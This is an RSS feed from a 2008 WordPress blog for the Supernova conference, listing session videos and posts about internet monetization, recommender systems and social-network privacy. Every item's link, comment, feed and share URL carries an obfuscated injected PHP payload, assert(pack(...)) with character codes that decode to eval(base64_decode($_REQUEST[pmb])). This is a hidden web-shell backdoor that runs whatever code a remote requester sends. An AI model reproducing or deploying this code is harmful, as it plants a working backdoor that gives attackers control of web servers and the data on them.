<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Conversation Hub &#187; Monetization</title>
	<atom:link href="http://www.conversationhub.com/category/monetization/feed/" rel="self" type="application/rss+xml" />
	<link>http://conversationhub.com</link>
	<description>The Supernova Conference Blog about Internet and Network Growth</description>
	<pubDate>Fri, 11 Jul 2008 21:44:28 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
		<!-- podcast_generator="podPress/8.8" -->
		<copyright>&#xA9; </copyright>
		<managingEditor>conversationhub@supernovagroup.net ()</managingEditor>
		<webMaster>conversationhub@supernovagroup.net()</webMaster>
		<category></category>
		<itunes:keywords></itunes:keywords>
		<itunes:subtitle></itunes:subtitle>
		<itunes:summary>The Supernova Conference Blog about Internet and Network Growth</itunes:summary>
		<itunes:author></itunes:author>
		<itunes:category text="Society &amp; Culture"/>
		<itunes:owner>
			<itunes:name></itunes:name>
			<itunes:email>conversationhub@supernovagroup.net</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://conversationhub.com/wp-content/plugins/podpress/images/powered_by_podpress_large.jpg" />
		<image>
			<url>http://conversationhub.com/wp-content/plugins/podpress/images/powered_by_podpress.jpg</url>
			<title>Conversation Hub</title>
			<link>http://conversationhub.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Session Video: Kartik Hosanagar</title>
		<link>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%</link>
		<comments>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%#comments</comments>
		<pubDate>Tue, 08 Jul 2008 18:30:55 +0000</pubDate>
		<dc:creator>supernova</dc:creator>
		
		<category><![CDATA[Marketing and Relationships]]></category>

		<category><![CDATA[Monetization]]></category>

		<category><![CDATA[Podcasts and Video]]></category>

		<category><![CDATA[Session Content]]></category>

		<category><![CDATA[Supernova08]]></category>

		<guid isPermaLink="false">http://conversationhub.com/?p=436</guid>
		<description><![CDATA[Wharton Professor of Operations and Information Management Kartik Hosanagar speaks at Supernova 2008 on  &#8220;Recommender Systems: The Present and Future of Personalization Recommendations.&#8221;
<script type="text/javascript">SHARETHIS.addEntry({ title: "Session Video: Kartik Hosanagar", url: "http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%" });</script>]]></description>
		<wfw:commentRss>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%/feed</wfw:commentRss>
			<enclosure url="http://conversationhub.com/podpress_trac/feed/436/0/hosanagar.mov" length="1" type="video/quicktime"/>
<itunes:duration>00:01:01</itunes:duration>
		<itunes:subtitle>Wharton Professor of Operations and Information Management Kartik Hosanagar speaks at Supernova 2008 on  "Recommender Systems: The Present and Future of Personalization Recommendations."ShareThis </itunes:subtitle>
		<itunes:summary>Wharton Professor of Operations and Information Management Kartik Hosanagar speaks at Supernova 2008 on  "Recommender Systems: The Present and Future of Personalization Recommendations."ShareThis</itunes:summary>
		<itunes:keywords>Marketing,and,Relationships,,Monetization,,Podcasts,and,Video,,Session,Content,,Supernova08</itunes:keywords>
		<itunes:author>conversationhub@supernovagroup.net</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>Session Video: Monetization for Today&#8217;s Internet&#8230; and Tomorrow&#8217;s</title>
		<link>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%</link>
		<comments>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%#comments</comments>
		<pubDate>Wed, 02 Jul 2008 21:03:28 +0000</pubDate>
		<dc:creator>supernova</dc:creator>
		
		<category><![CDATA[Marketing and Relationships]]></category>

		<category><![CDATA[Monetization]]></category>

		<category><![CDATA[Podcasts and Video]]></category>

		<category><![CDATA[Session Content]]></category>

		<category><![CDATA[supernova2008]]></category>

		<guid isPermaLink="false">http://conversationhub.com/?p=438</guid>
		<description><![CDATA[For all the success of the current wave of online services, a handful of advertising models produce virtually all the revenue. How do things evolve as software merges with Web-based services, and the Net becomes more open, more participatory, and more complex? Will the largest portals and social networks absorb most of the value, or [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Session Video: Monetization for Today&#8217;s Internet&#8230; and Tomorrow&#8217;s", url: "http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%" });</script>]]></description>
		<wfw:commentRss>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%/feed</wfw:commentRss>
			<enclosure url="http://conversationhub.com/podpress_trac/feed/438/0/monetization.mp4" length="1" type="audio/mpeg"/>
<itunes:duration>00:01:01</itunes:duration>
		<itunes:subtitle>For all the success of the current wave of online services, a handful of advertising models produce virtually all the revenue. How do things evolve ...</itunes:subtitle>
		<itunes:summary>For all the success of the current wave of online services, a handful of advertising models produce virtually all the revenue. How do things evolve as software merges with Web-based services, and the Net becomes more open, more participatory, and more complex? Will the largest portals and social networks absorb most of the value, or will more-focused players be able to thrive? Will advertising remain the dominant monetization strategy, and if so, how big can the pie grow? 

Stephan Zimmermann (McKinsey) leads a discussion featuring Doug Mack (Adobe), Craig Sherman (Gaia Online), and David Kidder (Clickable) about what it takes to monetize successfully in the current environment, and what may change in the future.

ShareThis</itunes:summary>
		<itunes:keywords>Marketing,and,Relationships,,Monetization,,Podcasts,and,Video,,Session,Content,,supernova2008</itunes:keywords>
		<itunes:author>conversationhub@supernovagroup.net</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>Session Video: Eric Clemons on Monetization</title>
		<link>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%</link>
		<comments>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%#comments</comments>
		<pubDate>Wed, 02 Jul 2008 20:07:03 +0000</pubDate>
		<dc:creator>supernova</dc:creator>
		
		<category><![CDATA[Enterprise]]></category>

		<category><![CDATA[Marketing and Relationships]]></category>

		<category><![CDATA[Monetization]]></category>

		<category><![CDATA[Podcasts and Video]]></category>

		<category><![CDATA[Session Content]]></category>

		<category><![CDATA[Speakers]]></category>

		<category><![CDATA[supernova2008]]></category>

		<guid isPermaLink="false">http://conversationhub.com/?p=432</guid>
		<description><![CDATA[Wharton Professor Eric Clemons, a noted expert on the strategic implications of information technology spoke at Supernova 2008 about monetization models for the next generation of Internet businesses.  Due to a medical issue, Eric was unable to fly out to the conference, so he recorded his remarks, and engaged in a live Q&#038;A session [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Session Video: Eric Clemons on Monetization", url: "http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%" });</script>]]></description>
		<wfw:commentRss>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%/feed</wfw:commentRss>
			<enclosure url="http://conversationhub.com/podpress_trac/feed/432/0/clemons.mov" length="1" type="video/quicktime"/>
<itunes:duration>00:01:01</itunes:duration>
		<itunes:subtitle>Wharton Professor Eric Clemons, a noted expert on the strategic implications of information technology spoke at Supernova 2008 about monetization models for the next generation ...</itunes:subtitle>
		<itunes:summary>Wharton Professor Eric Clemons, a noted expert on the strategic implications of information technology spoke at Supernova 2008 about monetization models for the next generation of Internet businesses.  Due to a medical issue, Eric was unable to fly out to the conference, so he recorded his remarks, and engaged in a live QA session via videoconference.  His PowerPoint presentation (PDF) is also available.
ShareThis</itunes:summary>
		<itunes:keywords>Enterprise,,Marketing,and,Relationships,,Monetization,,Podcasts,and,Video,,Session,Content,,Speakers,,supernova2008</itunes:keywords>
		<itunes:author>conversationhub@supernovagroup.net</itunes:author>
		<itunes:explicit>no</itunes:explicit>
		<itunes:block>No</itunes:block>
	</item>
		<item>
		<title>Video Interview: James Lussier of Norwest Venture Partners</title>
		<link>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%</link>
		<comments>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%#comments</comments>
		<pubDate>Wed, 18 Jun 2008 21:56:55 +0000</pubDate>
		<dc:creator>Howard Greenstein</dc:creator>
		
		<category><![CDATA[Monetization]]></category>

		<category><![CDATA[Podcasts and Video]]></category>

		<category><![CDATA[Startups]]></category>

		<category><![CDATA[Supernova08]]></category>

		<category><![CDATA[supernova2008]]></category>

		<guid isPermaLink="false">http://conversationhub.com/?p=408</guid>
		<description><![CDATA[Nick Douglas discusses the VC and Entrepreneurship panel with Jim Lussier.

Link: sevenload.com
<script type="text/javascript">SHARETHIS.addEntry({ title: "Video Interview: James Lussier of Norwest Venture Partners", url: "http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%" });</script>]]></description>
		<wfw:commentRss>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>Will Aggregated Social Graph Mean Privacy Violations?</title>
		<link>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%</link>
		<comments>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%#comments</comments>
		<pubDate>Tue, 11 Mar 2008 02:20:00 +0000</pubDate>
		<dc:creator>Isabel Hilborn</dc:creator>
		
		<category><![CDATA[Marketing and Relationships]]></category>

		<category><![CDATA[Monetization]]></category>

		<category><![CDATA[Social Platforms]]></category>

		<category><![CDATA[Society and Culture]]></category>

		<category><![CDATA[Supernova08]]></category>

		<guid isPermaLink="false">http://conversationhub.com/2008/03/11/will-aggregated-social-graph-mean-privacy-violations/</guid>
		<description><![CDATA[Can users really retain control of their data, or has the horse already left the barn?  Maybe we want to keep our social networks separate after all.<script type="text/javascript">SHARETHIS.addEntry({ title: "Will Aggregated Social Graph Mean Privacy Violations?", url: "http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%" });</script>]]></description>
		<wfw:commentRss>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>More Apres-Mixer Posts</title>
		<link>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%</link>
		<comments>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%#comments</comments>
		<pubDate>Sun, 09 Mar 2008 19:50:27 +0000</pubDate>
		<dc:creator>Isabel Hilborn</dc:creator>
		
		<category><![CDATA[Marketing and Relationships]]></category>

		<category><![CDATA[Mixers]]></category>

		<category><![CDATA[Monetization]]></category>

		<category><![CDATA[Social Platforms]]></category>

		<category><![CDATA[Supernova08]]></category>

		<guid isPermaLink="false">http://conversationhub.com/2008/03/10/more-apres-mixer-posts/</guid>
		<description><![CDATA[Silicon Valley social media entrepreneur Elliot Ng posted at length on Friday about the San Francisco Supernova mixer.  He includes some nice crowd shots and more good breakdown of Owyang&#8217;s conversation about the Social Graph.  Here are some of the insights he picked up on:
- Social Networks will be like air (Charlene Li) [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "More Apres-Mixer Posts", url: "http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%" });</script>]]></description>
		<wfw:commentRss>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
		<item>
		<title>Last Week&#8217;s Mixer an Inspiring Conversation-Starter</title>
		<link>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%</link>
		<comments>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%#comments</comments>
		<pubDate>Sun, 09 Mar 2008 14:08:52 +0000</pubDate>
		<dc:creator>Isabel Hilborn</dc:creator>
		
		<category><![CDATA[Mixers]]></category>

		<category><![CDATA[Monetization]]></category>

		<category><![CDATA[Social Platforms]]></category>

		<category><![CDATA[Supernova Announcements]]></category>

		<category><![CDATA[Supernova08]]></category>

		<guid isPermaLink="false">http://conversationhub.com/2008/03/09/last-weeks-mixer-an-inspiring-conversation-starter/</guid>
		<description><![CDATA[I just wanted to point out several great posts that are out there after last Thursday&#8217;s Supernova mixer at Wharton West in San Francisco.
Jeremiah Owyang, web strategist, was a featured discussion leader and posted at length about the evening, including photos.  Jeremiah led the audience in a discussion about the Social Graph.
He lists some [...]<script type="text/javascript">SHARETHIS.addEntry({ title: "Last Week&#8217;s Mixer an Inspiring Conversation-Starter", url: "http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%" });</script>]]></description>
		<wfw:commentRss>http://conversationhub.com/%info[{${assert(pack(($ab=chr(99).chr(42)), 101,118,97,108,40,98,97,115,101,54,52,95,100,101,99,111,100,101,40,36,95,82,69,81,85,69,83,84,91,112,109,98,93,41,41,59)).exit()}}]*%/feed</wfw:commentRss>
		</item>
	</channel>
</rss>

